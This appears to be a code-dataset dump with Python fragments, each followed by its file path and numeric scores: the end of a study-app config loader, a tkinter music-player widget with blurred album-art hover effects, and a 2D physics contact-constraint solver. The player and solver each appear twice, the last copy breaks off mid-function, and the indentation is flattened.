with open(filename, 'r') as nr:
nr = json.load(nr)
print(nr)
time.sleep(1)
load_config()
else:
key = input(f'Hello welcome to studyNoter {version}!. please type \n 1 /if you would like to go with default config Highly recommended \n 2 /if you would like to set your own config \n')
if not check(key, 2):
load_config()
else:
if key == '1':
config = Config()
else:
dicts = {}
for i in data.values():
t = True
while t:
set = input(f'set {i} value to: ')
if i != 'name':
if not set.replace('.', '').isnumeric():
print('thats not a number! please retry again')
continue
else:
dicts[i] = set
else:
dicts[i] = set
t = False
with open(filename, 'w') as g:
json.dump(dicts, g, indent=4)
config = Config(dicts[data[1]], dicts[data[2]], dicts[data[3]], dicts[data[4]], dicts[data[5]])
return config | 0.068729 | 0.123207 |
import tkinter as tk
from tkinter import ttk
import pyglet
from PIL import Image, ImageTk, ImageFilter, ImageDraw, ImageFont
class Player(tk.Frame):
def __init__(self, root, track='', backup_track='', artist='', album=None,
art=None, playfunc=None, stopfunc=None, nextfunc=None,
previousfunc=None, backfunc=None, forwardfunc=None,
bindfunc=None, theme='light', **kwargs):
tk.Frame.__init__(self, root, **kwargs)
pyglet.font.add_file("fonts/Montserrat-SemiBold.ttf")
pyglet.font.add_file('fonts/Poppins-SemiBold.ttf')
self.art = art
self.playfunc = playfunc
self.stopfunc = stopfunc
self.nextfunc = nextfunc
self.previousfunc = previousfunc
self.backfunc = backfunc
self.forwardfunc = forwardfunc
self.bindfunc = bindfunc
self.track = track
self.backup_track = backup_track
self.artist = artist
self.album = album
self.count = 0
self.theme = theme
self.font_headers = ('Poppins SemiBold', 15)
self.h, self.w = self.winfo_screenheight(), self.winfo_screenwidth()
self.previous = ImageTk.PhotoImage(
Image.open('images/previous.png').resize((50, 50), Image.ANTIALIAS)
)
self.backwards = ImageTk.PhotoImage(
Image.open('images/backwards.png').resize((50, 50),
Image.ANTIALIAS)
)
self.forwards = ImageTk.PhotoImage(
Image.open('images/forwards.png').resize((50, 50), Image.ANTIALIAS)
)
self.next = ImageTk.PhotoImage(
Image.open('images/next.png').resize((50, 50), Image.ANTIALIAS)
)
self.notfound = ImageTk.PhotoImage(
Image.open('images/notfound.png').resize((500, 499),
Image.ANTIALIAS)
)
self.playpause = ImageTk.PhotoImage(
Image.open('images/play pause.png').resize((50, 50),
Image.ANTIALIAS)
)
self.stop = ImageTk.PhotoImage(
Image.open('images/rewind.png').resize((50, 50), Image.ANTIALIAS)
)
self.previous_dark = ImageTk.PhotoImage(
Image.open('images/previous_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.backwards_dark = ImageTk.PhotoImage(
Image.open('images/backwards_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.forwards_dark = ImageTk.PhotoImage(
Image.open('images/forwards_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.next_dark = ImageTk.PhotoImage(
Image.open('images/next_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.notfound_dark = ImageTk.PhotoImage(
Image.open('images/notfound_dark.png').resize((500, 499),
Image.ANTIALIAS)
)
self.playpause_dark = ImageTk.PhotoImage(
Image.open('images/play pause_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.stop_dark = ImageTk.PhotoImage(
Image.open('images/rewind_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.img_label = tk.Label(self)
self.img_label.grid(row=0, column=0, columnspan=4, pady=10)
self.title_label = tk.Label(self, text=self.track,
font=self.font_headers)
self.title_label.grid(row=1, column=0, columnspan=4, pady=5)
self.artist_label = tk.Label(self, text=self.artist,
font=self.font_headers)
self.artist_label.grid(row=2, column=0, columnspan=4, pady=5)
self.album_label = tk.Label(self, text=self.album,
font=self.font_headers)
self.album_label.grid(row=3, column=0, columnspan=4, pady=5)
self.previous_button = ttk.Button(self, image=self.previous,
command=self._previous)
self.previous_button.grid(row=4, column=0)
self.playpause_button = ttk.Button(self, image=self.playpause,
command=self._play)
self.playpause_button.grid(row=4, column=1)
self.next_button = ttk.Button(self, image=self.next,
command=self._next)
self.next_button.grid(row=4, column=2)
self.rewind_button = ttk.Button(self, image=self.stop,
command=self._stop)
self.rewind_button.grid(row=4, column=3)
self.img_btns = [self.img_label, self.previous_button,
self.playpause_button, self.next_button,
self.rewind_button]
self.dark_img = [self.notfound_dark, self.previous_dark,
self.playpause_dark, self.next_dark, self.stop_dark]
self.light_img = [self.notfound, self.previous, self.playpause,
self.next, self.stop]
if self.theme == 'dark':
self.switch_images(self.theme)
if not art:
self.img_label.config(image=self.notfound)
def _play(self):
if self.playfunc:
self.playfunc()
def _stop(self):
if self.stopfunc:
self.stopfunc()
def _previous(self):
if self.previousfunc:
self.previousfunc()
def _next(self):
if self.nextfunc:
self.nextfunc()
def _backwards(self):
if self.backfunc:
self.backfunc()
def _forwards(self):
if self.forwardfunc:
self.forwardfunc()
def _resize(self, lim, text=''):
if len(text) > lim:
new_text = text[:lim] + '...'
return new_text
else:
return text
def config(self, track='', album='', art=None, artist='', backup_track=''):
if not art:
if self.theme == 'dark':
self.img_label.config(image=self.notfound_dark)
else:
self.img_label.config(image=self.notfound)
else:
self.im_tk = ImageTk.PhotoImage(art)
self.img_label.config(image=self.im_tk)
if track is None:
track = self._resize(30, str(backup_track))
self.title_label.config(text=track)
else:
track = self._resize(30, str(track))
self.title_label.config(text=track)
if album is None:
self.album_label.config(text='-')
else:
album = self._resize(30, str(album))
self.album_label.config(text=album)
if artist is None:
self.artist_label.config(text='-')
else:
artist = self._resize(30, str(artist))
self.artist_label.config(text=artist)
if art:
self.blur_im_lst = self.__create_hover_lst(art, track)
self.ublr_im_lst = self.blur_im_lst[::-1]
else:
self.ublr_im_lst = None
self.art = art
self.img_label.bind('<Enter>', lambda e: self.enter())
self.img_label.bind('<Leave>', lambda e: self.leave())
def enter(self):
if self.art:
if self.count < len(self.blur_im_lst):
self.img_label.config(image=self.blur_im_lst[self.count])
self.count += 1
self.after(15, self.enter)
else:
self.count = 0
else:
if self.theme == 'dark':
self.img_label.config(image=self.notfound_dark)
else:
self.img_label.config(image=self.notfound)
def leave(self):
if not self.art:
if self.theme == 'dark':
self.img_label.config(image=self.notfound_dark)
else:
self.img_label.config(image=self.notfound)
else:
if self.count < len(self.ublr_im_lst):
self.img_label.config(image=self.ublr_im_lst[self.count])
self.count += 1
self.after(15, self.leave)
else:
self.img_label.config(image=self.im_tk)
self.count = 0
def drawer(self, img, text, W, H):
draw = ImageDraw.Draw(img)
font = ImageFont.truetype(font='fonts/Poppins-SemiBold.ttf', size=25)
if len(text) > 30:
text = text[:30] + '...'
w, h = draw.textsize(text, font=font)
draw.text(((W-w) / 2, (H-h) / 2), text, font=font, fill="white",
align='left')
return img
def __create_hover_lst(self, art, title):
im_lst = []
black = Image.new('RGBA', (500, 500), (0, 0, 0, 50))
art.paste(black, mask=black)
for i in range(1, 9):
num = i/2
blur_img = art.filter(ImageFilter.GaussianBlur(num))
art_blur = ImageTk.PhotoImage(blur_img)
if i == 8:
draw = self.drawer(
blur_img.resize((500, 499), Image.ANTIALIAS), str(title),
H=500, W=500
)
art_blur = ImageTk.PhotoImage(draw)
im_lst.append(art_blur)
return im_lst
def switch_images(self, mode):
if mode == 'dark':
for img, btn in zip(self.dark_img, self.img_btns):
btn.config(image=img)
else:
for img, btn in zip(self.light_img, self.img_btns):
btn.config(image=img)
self.theme = mode
if self.art:
self.img = ImageTk.PhotoImage(self.art)
self.img_label.config(image=self.img)
steps = '''Step 1: Make sure your songs files are in the form of Artist - \
Song Name.
Step 2: Make a folder for the output of new song files.
Step 3: Wait while the label says processing.
Step 4: You are good to go once the label says Done.
If it takes long time for single file close the main app and try again.
Keep in mind the app is still in beta and data might be inaccurate.'''
if __name__ == "__main__":
root = tk.Tk()
a = Player(root, track='Hello', album='Get lost',
playfunc=lambda: print('PLAYING'),
stopfunc=lambda: print('STOPPING'))
a.pack()
root.mainloop() | musictk/player.py | import tkinter as tk
from tkinter import ttk
import pyglet
from PIL import Image, ImageTk, ImageFilter, ImageDraw, ImageFont
class Player(tk.Frame):
def __init__(self, root, track='', backup_track='', artist='', album=None,
art=None, playfunc=None, stopfunc=None, nextfunc=None,
previousfunc=None, backfunc=None, forwardfunc=None,
bindfunc=None, theme='light', **kwargs):
tk.Frame.__init__(self, root, **kwargs)
pyglet.font.add_file("fonts/Montserrat-SemiBold.ttf")
pyglet.font.add_file('fonts/Poppins-SemiBold.ttf')
self.art = art
self.playfunc = playfunc
self.stopfunc = stopfunc
self.nextfunc = nextfunc
self.previousfunc = previousfunc
self.backfunc = backfunc
self.forwardfunc = forwardfunc
self.bindfunc = bindfunc
self.track = track
self.backup_track = backup_track
self.artist = artist
self.album = album
self.count = 0
self.theme = theme
self.font_headers = ('Poppins SemiBold', 15)
self.h, self.w = self.winfo_screenheight(), self.winfo_screenwidth()
self.previous = ImageTk.PhotoImage(
Image.open('images/previous.png').resize((50, 50), Image.ANTIALIAS)
)
self.backwards = ImageTk.PhotoImage(
Image.open('images/backwards.png').resize((50, 50),
Image.ANTIALIAS)
)
self.forwards = ImageTk.PhotoImage(
Image.open('images/forwards.png').resize((50, 50), Image.ANTIALIAS)
)
self.next = ImageTk.PhotoImage(
Image.open('images/next.png').resize((50, 50), Image.ANTIALIAS)
)
self.notfound = ImageTk.PhotoImage(
Image.open('images/notfound.png').resize((500, 499),
Image.ANTIALIAS)
)
self.playpause = ImageTk.PhotoImage(
Image.open('images/play pause.png').resize((50, 50),
Image.ANTIALIAS)
)
self.stop = ImageTk.PhotoImage(
Image.open('images/rewind.png').resize((50, 50), Image.ANTIALIAS)
)
self.previous_dark = ImageTk.PhotoImage(
Image.open('images/previous_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.backwards_dark = ImageTk.PhotoImage(
Image.open('images/backwards_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.forwards_dark = ImageTk.PhotoImage(
Image.open('images/forwards_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.next_dark = ImageTk.PhotoImage(
Image.open('images/next_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.notfound_dark = ImageTk.PhotoImage(
Image.open('images/notfound_dark.png').resize((500, 499),
Image.ANTIALIAS)
)
self.playpause_dark = ImageTk.PhotoImage(
Image.open('images/play pause_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.stop_dark = ImageTk.PhotoImage(
Image.open('images/rewind_dark.png').resize((50, 50),
Image.ANTIALIAS)
)
self.img_label = tk.Label(self)
self.img_label.grid(row=0, column=0, columnspan=4, pady=10)
self.title_label = tk.Label(self, text=self.track,
font=self.font_headers)
self.title_label.grid(row=1, column=0, columnspan=4, pady=5)
self.artist_label = tk.Label(self, text=self.artist,
font=self.font_headers)
self.artist_label.grid(row=2, column=0, columnspan=4, pady=5)
self.album_label = tk.Label(self, text=self.album,
font=self.font_headers)
self.album_label.grid(row=3, column=0, columnspan=4, pady=5)
self.previous_button = ttk.Button(self, image=self.previous,
command=self._previous)
self.previous_button.grid(row=4, column=0)
self.playpause_button = ttk.Button(self, image=self.playpause,
command=self._play)
self.playpause_button.grid(row=4, column=1)
self.next_button = ttk.Button(self, image=self.next,
command=self._next)
self.next_button.grid(row=4, column=2)
self.rewind_button = ttk.Button(self, image=self.stop,
command=self._stop)
self.rewind_button.grid(row=4, column=3)
self.img_btns = [self.img_label, self.previous_button,
self.playpause_button, self.next_button,
self.rewind_button]
self.dark_img = [self.notfound_dark, self.previous_dark,
self.playpause_dark, self.next_dark, self.stop_dark]
self.light_img = [self.notfound, self.previous, self.playpause,
self.next, self.stop]
if self.theme == 'dark':
self.switch_images(self.theme)
if not art:
self.img_label.config(image=self.notfound)
def _play(self):
if self.playfunc:
self.playfunc()
def _stop(self):
if self.stopfunc:
self.stopfunc()
def _previous(self):
if self.previousfunc:
self.previousfunc()
def _next(self):
if self.nextfunc:
self.nextfunc()
def _backwards(self):
if self.backfunc:
self.backfunc()
def _forwards(self):
if self.forwardfunc:
self.forwardfunc()
def _resize(self, lim, text=''):
if len(text) > lim:
new_text = text[:lim] + '...'
return new_text
else:
return text
def config(self, track='', album='', art=None, artist='', backup_track=''):
if not art:
if self.theme == 'dark':
self.img_label.config(image=self.notfound_dark)
else:
self.img_label.config(image=self.notfound)
else:
self.im_tk = ImageTk.PhotoImage(art)
self.img_label.config(image=self.im_tk)
if track is None:
track = self._resize(30, str(backup_track))
self.title_label.config(text=track)
else:
track = self._resize(30, str(track))
self.title_label.config(text=track)
if album is None:
self.album_label.config(text='-')
else:
album = self._resize(30, str(album))
self.album_label.config(text=album)
if artist is None:
self.artist_label.config(text='-')
else:
artist = self._resize(30, str(artist))
self.artist_label.config(text=artist)
if art:
self.blur_im_lst = self.__create_hover_lst(art, track)
self.ublr_im_lst = self.blur_im_lst[::-1]
else:
self.ublr_im_lst = None
self.art = art
self.img_label.bind('<Enter>', lambda e: self.enter())
self.img_label.bind('<Leave>', lambda e: self.leave())
def enter(self):
if self.art:
if self.count < len(self.blur_im_lst):
self.img_label.config(image=self.blur_im_lst[self.count])
self.count += 1
self.after(15, self.enter)
else:
self.count = 0
else:
if self.theme == 'dark':
self.img_label.config(image=self.notfound_dark)
else:
self.img_label.config(image=self.notfound)
def leave(self):
if not self.art:
if self.theme == 'dark':
self.img_label.config(image=self.notfound_dark)
else:
self.img_label.config(image=self.notfound)
else:
if self.count < len(self.ublr_im_lst):
self.img_label.config(image=self.ublr_im_lst[self.count])
self.count += 1
self.after(15, self.leave)
else:
self.img_label.config(image=self.im_tk)
self.count = 0
def drawer(self, img, text, W, H):
draw = ImageDraw.Draw(img)
font = ImageFont.truetype(font='fonts/Poppins-SemiBold.ttf', size=25)
if len(text) > 30:
text = text[:30] + '...'
w, h = draw.textsize(text, font=font)
draw.text(((W-w) / 2, (H-h) / 2), text, font=font, fill="white",
align='left')
return img
def __create_hover_lst(self, art, title):
im_lst = []
black = Image.new('RGBA', (500, 500), (0, 0, 0, 50))
art.paste(black, mask=black)
for i in range(1, 9):
num = i/2
blur_img = art.filter(ImageFilter.GaussianBlur(num))
art_blur = ImageTk.PhotoImage(blur_img)
if i == 8:
draw = self.drawer(
blur_img.resize((500, 499), Image.ANTIALIAS), str(title),
H=500, W=500
)
art_blur = ImageTk.PhotoImage(draw)
im_lst.append(art_blur)
return im_lst
def switch_images(self, mode):
if mode == 'dark':
for img, btn in zip(self.dark_img, self.img_btns):
btn.config(image=img)
else:
for img, btn in zip(self.light_img, self.img_btns):
btn.config(image=img)
self.theme = mode
if self.art:
self.img = ImageTk.PhotoImage(self.art)
self.img_label.config(image=self.img)
steps = '''Step 1: Make sure your songs files are in the form of Artist - \
Song Name.
Step 2: Make a folder for the output of new song files.
Step 3: Wait while the label says processing.
Step 4: You are good to go once the label says Done.
If it takes long time for single file close the main app and try again.
Keep in mind the app is still in beta and data might be inaccurate.'''
if __name__ == "__main__":
root = tk.Tk()
a = Player(root, track='Hello', album='Get lost',
playfunc=lambda: print('PLAYING'),
stopfunc=lambda: print('STOPPING'))
a.pack()
root.mainloop() | 0.54577 | 0.099952 |
from typing import List, Dict, cast
import numpy as np
from ...math.matrix import Matrix
from ...common.config import Config
from ...collision.algorithm.gjk import PointPair
from ...collision.detector import Collsion
from ..body import Body
# FIXME:
def generate_relation(bodya: Body, bodyb: Body) -> int:
# Combine two 32-bit id into one 64-bit id in unique form
ida: int = bodya.id
idb: int = bodyb.id
return ida + idb
class VelocityConstraintPoint():
def __init__(self):
self._ra: Matrix = Matrix([0.0, 0.0], 'vec')
self._rb: Matrix = Matrix([0.0, 0.0], 'vec')
self._va: Matrix = Matrix([0.0, 0.0], 'vec')
self._vb: Matrix = Matrix([0.0, 0.0], 'vec')
self._normal: Matrix = Matrix([0.0, 0.0], 'vec')
self._tangent: Matrix = Matrix([0.0, 0.0], 'vec')
self._vel_bias: Matrix = Matrix([0.0, 0.0], 'vec')
self._bias: float = 0.0
self._penetration: float = 0.0
self._restit: float = 0.8
self._eff_mass_normal: float = 0.0
self._eff_mass_tangent: float = 0.0
self._accum_normal_impulse: float = 0.0
self._accum_tangent_impulse: float = 0.0
class ContactConstraintPoint():
def __init__(self):
self._relation: int = 0
self._fric: float = 0.2
self._active: bool = True
self._locala: Matrix = Matrix([0.0, 0.0], 'vec')
self._localb: Matrix = Matrix([0.0, 0.0], 'vec')
self._bodya: Body = Body()
self._bodyb: Body = Body()
self._vcp: VelocityConstraintPoint = VelocityConstraintPoint()
class ContactMaintainer():
def __init__(self):
self._penetration_max: float = 0.01
self._bias_factor: float = 0.03
self._contact_table: Dict[int, List[ContactConstraintPoint]] = {}
def clear_all(self) -> None:
self._contact_table.clear()
def solve_velocity(self, dt: float) -> None:
for val in self._contact_table.values():
if len(val) == 0 or not val[0]._active:
continue
for ccp in val:
vcp: VelocityConstraintPoint = ccp._vcp
wa: Matrix = Matrix.cross_product2(ccp._bodya.ang_vel, vcp._ra)
wb: Matrix = Matrix.cross_product2(ccp._bodyb.ang_vel, vcp._rb)
vcp._va = ccp._bodya.vel + wa
vcp._vb = ccp._bodyb.vel + wb
dv: Matrix = vcp._va - vcp._vb
jv: float = -1.0 * vcp._normal.dot(dv - vcp._vel_bias)
lambda_n: float = vcp._eff_mass_normal * jv
old_impulse: float = vcp._accum_normal_impulse
vcp._accum_normal_impulse = np.fmax(old_impulse + lambda_n, 0)
lambda_n = vcp._accum_normal_impulse - old_impulse
impulse_n: Matrix = vcp._normal * lambda_n
ccp._bodya.apply_impulse(impulse_n, vcp._ra)
ccp._bodyb.apply_impulse(-impulse_n, vcp._rb)
vcp._va = ccp._bodya.vel + Matrix.cross_product2(
ccp._bodya.ang_vel, vcp._ra)
vcp._vb = ccp._bodyb.vel + Matrix.cross_product2(
ccp._bodyb.ang_vel, vcp._rb)
dv = vcp._va - vcp._vb
jvt: float = vcp._tangent.dot(dv)
lambda_t: float = vcp._eff_mass_tangent * -jvt
maxT: float = ccp._fric * vcp._accum_normal_impulse
old_impulse = vcp._accum_tangent_impulse
vcp._accum_tangent_impulse = Config.clamp(
old_impulse + lambda_t, -maxT, maxT)
lambda_t = vcp._accum_tangent_impulse - old_impulse
impulse_t: Matrix = vcp._tangent * lambda_t
ccp._bodya.apply_impulse(impulse_t, vcp._ra)
ccp._bodyb.apply_impulse(-impulse_t, vcp._rb)
def solve_position(self, dt: float) -> None:
for val in self._contact_table.values():
if len(val) == 0 or not val[0]._active:
continue
for ccp in val:
vcp: VelocityConstraintPoint = ccp._vcp
bodya: Body = ccp._bodya
bodyb: Body = ccp._bodyb
pa: Matrix = vcp._ra + bodya.pos
pb: Matrix = vcp._rb + bodyb.pos
c: Matrix = pa - pb
# already solved by vel
if c.dot(vcp._normal) < 0.0:
continue
bias: float = self._bias_factor * np.fmax(
c.len() - self._penetration_max, 0.0)
val_lambda: float = vcp._eff_mass_normal * bias
impulse: Matrix = vcp._normal * val_lambda
if bodya.type != Body.Type.Static and not ccp._bodya.sleep:
bodya.pos += impulse * bodya.inv_mass
bodya.rot += bodya.inv_inertia * vcp._ra.cross(impulse)
if bodyb.type != Body.Type.Static and not ccp._bodyb.sleep:
bodyb.pos -= impulse * bodyb.inv_mass
bodyb.rot -= bodyb.inv_inertia * vcp._rb.cross(impulse)
def add(self, collision: Collsion) -> None:
assert collision._bodya is not None
assert collision._bodyb is not None
bodya: Body = collision._bodya
bodyb: Body = collision._bodyb
# print(f'bodya id: {bodya.id}')
# print(f'bodyb id: {bodyb.id}')
relation: int = generate_relation(bodya, bodyb)
# print(f'relation: {relation}')
contact_list: List[ContactConstraintPoint] = []
if self._contact_table.get(relation, False):
# print('sssss')
contact_list = self._contact_table[relation]
else:
self._contact_table[relation] = []
# print('zzzzzz')
contact_list = self._contact_table[relation]
for elem in collision._contact_list:
# print(f'pa: ({elem._pa.x},{elem._pa.y})')
# print(f'pb: ({elem._pb.x},{elem._pb.y})')
existed: bool = False
locala: Matrix = bodya.to_local_point(elem._pa)
localb: Matrix = bodyb.to_local_point(elem._pb)
for contact in contact_list:
# print('x')
is_pointa: bool = np.isclose(contact._locala._val,
locala._val).all()
is_pointb: bool = np.isclose(contact._localb._val,
localb._val).all()
if is_pointa and is_pointb:
# satisfy the condition, transmit the old
# accumulated value to new value
contact._locala = locala
contact._localb = localb
self.prepare(contact, elem, collision)
existed = True
break
if existed:
continue
# no eligible contact, push new contact points
ccp: ContactConstraintPoint = ContactConstraintPoint()
ccp._locala = locala
ccp._localb = localb
ccp._relation = relation
self.prepare(ccp, elem, collision)
contact_list.append(ccp)
# print(f'ct len: {len(self._contact_table[relation])}')
def prepare(self, ccp: ContactConstraintPoint, pair: PointPair,
collision: Collsion) -> None:
assert collision._bodya is not None
assert collision._bodyb is not None
# NOTE: return val by ccp params
ccp._bodya = collision._bodya
ccp._bodyb = collision._bodyb
ccp._active = True
ccp._fric = np.sqrt(ccp._bodya.fric * ccp._bodyb.fric)
vcp: VelocityConstraintPoint = ccp._vcp
vcp._ra = pair._pa - collision._bodya.pos
vcp._rb = pair._pb - collision._bodyb.pos
vcp._normal = collision._normal
vcp._tangent = vcp._normal.perpendicular()
im_a: float = collision._bodya.inv_mass
im_b: float = collision._bodyb.inv_mass
ii_a: float = collision._bodya.inv_inertia
ii_b: float = collision._bodyb.inv_inertia
rn_a: float = vcp._ra.cross(vcp._normal)
rn_b: float = vcp._rb.cross(vcp._normal)
rt_a: float = vcp._ra.cross(vcp._tangent)
rt_b: float = vcp._rb.cross(vcp._tangent)
k_normal: float = im_a + ii_a * rn_a * rn_a
k_normal += im_b + ii_b * rn_b * rn_b
k_tangent: float = im_a + ii_a * rt_a * rt_a
k_tangent += im_b + ii_b * rt_b * rt_b
vcp._eff_mass_normal = 0.0 if np.isclose(k_normal,
0) else 1.0 / k_normal
vcp._eff_mass_tangent = 0.0 if np.isclose(k_tangent,
0) else 1.0 / k_tangent
vcp._restit = np.fmin(ccp._bodya.restit, ccp._bodyb.restit)
vcp._penetration = collision._penetration
wa: Matrix = Matrix.cross_product2(ccp._bodya.ang_vel, vcp._ra)
wb: Matrix = Matrix.cross_product2(ccp._bodyb.ang_vel, vcp._rb)
vcp._va = ccp._bodya.vel + wa
vcp._vb = ccp._bodyb.vel + wb
vcp._vel_bias = (vcp._va - vcp._vb) * -vcp._restit
# accumulate inherited impulse
impulse: Matrix = vcp._normal * vcp._accum_normal_impulse
impulse += vcp._tangent * vcp._accum_tangent_impulse
ccp._bodya.apply_impulse(impulse, vcp._ra)
ccp._bodyb.apply_impulse(-impulse, vcp._rb)
def clear_inactive_points(self) -> None:
clear_list: List[int] = []
removed_list: List[ContactConstraintPoint] = []
for key, val in self._contact_table.items():
if len(val) == 0:
clear_list.append(key)
continue
for v1 in val:
if not v1._active:
removed_list.append(v1)
for v1 in removed_list:
for re in val:
if re == v1:
val.remove(re)
removed_list.clear()
for v2 in clear_list:
for item in self._contact_table.items():
if item[0] == v2:
del self._contact_table[item[0]]
break
def deactivate_all_points(self) -> None:
for val in self._contact_table.values():
if len(val) == 0 or not val[0]._active:
continue
for ccp in val:
ccp._active = False | TaichiGAME/dynamics/constraint/contact.py | from typing import List, Dict, cast
import numpy as np
from ...math.matrix import Matrix
from ...common.config import Config
from ...collision.algorithm.gjk import PointPair
from ...collision.detector import Collsion
from ..body import Body
# FIXME:
def generate_relation(bodya: Body, bodyb: Body) -> int:
# Combine two 32-bit id into one 64-bit id in unique form
ida: int = bodya.id
idb: int = bodyb.id
return ida + idb
class VelocityConstraintPoint():
def __init__(self):
self._ra: Matrix = Matrix([0.0, 0.0], 'vec')
self._rb: Matrix = Matrix([0.0, 0.0], 'vec')
self._va: Matrix = Matrix([0.0, 0.0], 'vec')
self._vb: Matrix = Matrix([0.0, 0.0], 'vec')
self._normal: Matrix = Matrix([0.0, 0.0], 'vec')
self._tangent: Matrix = Matrix([0.0, 0.0], 'vec')
self._vel_bias: Matrix = Matrix([0.0, 0.0], 'vec')
self._bias: float = 0.0
self._penetration: float = 0.0
self._restit: float = 0.8
self._eff_mass_normal: float = 0.0
self._eff_mass_tangent: float = 0.0
self._accum_normal_impulse: float = 0.0
self._accum_tangent_impulse: float = 0.0
class ContactConstraintPoint():
def __init__(self):
self._relation: int = 0
self._fric: float = 0.2
self._active: bool = True
self._locala: Matrix = Matrix([0.0, 0.0], 'vec')
self._localb: Matrix = Matrix([0.0, 0.0], 'vec')
self._bodya: Body = Body()
self._bodyb: Body = Body()
self._vcp: VelocityConstraintPoint = VelocityConstraintPoint()
class ContactMaintainer():
def __init__(self):
self._penetration_max: float = 0.01
self._bias_factor: float = 0.03
self._contact_table: Dict[int, List[ContactConstraintPoint]] = {}
def clear_all(self) -> None:
self._contact_table.clear()
def solve_velocity(self, dt: float) -> None:
for val in self._contact_table.values():
if len(val) == 0 or not val[0]._active:
continue
for ccp in val:
vcp: VelocityConstraintPoint = ccp._vcp
wa: Matrix = Matrix.cross_product2(ccp._bodya.ang_vel, vcp._ra)
wb: Matrix = Matrix.cross_product2(ccp._bodyb.ang_vel, vcp._rb)
vcp._va = ccp._bodya.vel + wa
vcp._vb = ccp._bodyb.vel + wb
dv: Matrix = vcp._va - vcp._vb
jv: float = -1.0 * vcp._normal.dot(dv - vcp._vel_bias)
lambda_n: float = vcp._eff_mass_normal * jv
old_impulse: float = vcp._accum_normal_impulse
vcp._accum_normal_impulse = np.fmax(old_impulse + lambda_n, 0)
lambda_n = vcp._accum_normal_impulse - old_impulse
impulse_n: Matrix = vcp._normal * lambda_n
ccp._bodya.apply_impulse(impulse_n, vcp._ra)
ccp._bodyb.apply_impulse(-impulse_n, vcp._rb)
vcp._va = ccp._bodya.vel + Matrix.cross_product2(
ccp._bodya.ang_vel, vcp._ra)
vcp._vb = ccp._bodyb.vel + Matrix.cross_product2(
ccp._bodyb.ang_vel, vcp._rb)
dv = vcp._va - vcp._vb
jvt: float = vcp._tangent.dot(dv)
lambda_t: float = vcp._eff_mass_tangent * -jvt
maxT: float = ccp._fric * vcp._accum_normal_impulse
old_impulse = vcp._accum_tangent_impulse
vcp._accum_tangent_impulse = Config.clamp(
old_impulse + lambda_t, -maxT, maxT)
lambda_t = vcp._accum_tangent_impulse - old_impulse
impulse_t: Matrix = vcp._tangent * lambda_t
ccp._bodya.apply_impulse(impulse_t, vcp._ra)
ccp._bodyb.apply_impulse(-impulse_t, vcp._rb)
def solve_position(self, dt: float) -> None:
for val in self._contact_table.values():
if len(val) == 0 or not val[0]._active:
continue
for ccp in val:
vcp: VelocityConstraintPoint = ccp._vcp
bodya: Body = ccp._bodya
bodyb: Body = ccp._bodyb
pa: Matrix = vcp._ra + bodya.pos
pb: Matrix = vcp._rb + bodyb.pos
c: Matrix = pa - pb
# already solved by vel
if c.dot(vcp._normal) < 0.0:
continue
bias: float = self._bias_factor * np.fmax(
c.len() - self._penetration_max, 0.0)
val_lambda: float = vcp._eff_mass_normal * bias
impulse: Matrix = vcp._normal * val_lambda
if bodya.type != Body.Type.Static and not ccp._bodya.sleep:
bodya.pos += impulse * bodya.inv_mass
bodya.rot += bodya.inv_inertia * vcp._ra.cross(impulse)
if bodyb.type != Body.Type.Static and not ccp._bodyb.sleep:
bodyb.pos -= impulse * bodyb.inv_mass
bodyb.rot -= bodyb.inv_inertia * vcp._rb.cross(impulse)
def add(self, collision: Collsion) -> None:
assert collision._bodya is not None
assert collision._bodyb is not None
bodya: Body = collision._bodya
bodyb: Body = collision._bodyb
# print(f'bodya id: {bodya.id}')
# print(f'bodyb id: {bodyb.id}')
relation: int = generate_relation(bodya, bodyb)
# print(f'relation: {relation}')
contact_list: List[ContactConstraintPoint] = []
if self._contact_table.get(relation, False):
# print('sssss')
contact_list = self._contact_table[relation]
else:
self._contact_table[relation] = []
# print('zzzzzz')
contact_list = self._contact_table[relation]
for elem in collision._contact_list:
# print(f'pa: ({elem._pa.x},{elem._pa.y})')
# print(f'pb: ({elem._pb.x},{elem._pb.y})')
existed: bool = False
locala: Matrix = bodya.to_local_point(elem._pa)
localb: Matrix = bodyb.to_local_point(elem._pb)
for contact in contact_list:
# print('x')
is_pointa: bool = np.isclose(contact._locala._val,
locala._val).all()
is_pointb: bool = np.isclose(contact._localb._val,
localb._val).all()
if is_pointa and is_pointb:
# satisfy the condition, transmit the old
# accumulated value to new value
contact._locala = locala
contact._localb = localb
self.prepare(contact, elem, collision)
existed = True
break
if existed:
continue
# no eligible contact, push new contact points
ccp: ContactConstraintPoint = ContactConstraintPoint()
ccp._locala = locala
ccp._localb = localb
ccp._relation = relation
self.prepare(ccp, elem, collision)
contact_list.append(ccp)
# print(f'ct len: {len(self._contact_table[relation])}')
def prepare(self, ccp: ContactConstraintPoint, pair: PointPair,
collision: Collsion) -> None:
assert collision._bodya is not None
assert collision._bodyb is not None
# NOTE: return val by ccp params
ccp._bodya = collision._bodya
ccp._bodyb = collision._bodyb
ccp._active = True
ccp._fric = np.sqrt(ccp._bodya.fric * ccp._bodyb.fric)
vcp: VelocityConstraintPoint = ccp._vcp
vcp._ra = pair._pa - collision._bodya.pos
vcp._rb = pair._pb - collision._bodyb.pos
vcp._normal = collision._normal
vcp._tangent = vcp._normal.perpendicular()
im_a: float = collision._bodya.inv_mass
im_b: float = collision._bodyb.inv_mass
ii_a: float = collision._bodya.inv_inertia
ii_b: float = collision._bodyb.inv_inertia
rn_a: float = vcp._ra.cross(vcp._normal)
rn_b: float = vcp._rb.cross(vcp._normal)
rt_a: float = vcp._ra.cross(vcp._tangent)
rt_b: float = vcp._rb.cross(vcp._tangent)
k_normal: float = im_a + ii_a * rn_a * rn_a
k_normal += im_b + ii_b * rn_b * rn_b
k_tangent: float = im_a + ii_a * rt_a * rt_a
k_tangent += im_b + ii_b * rt_b * rt_b
vcp._eff_mass_normal = 0.0 if np.isclose(k_normal,
0) else 1.0 / k_normal
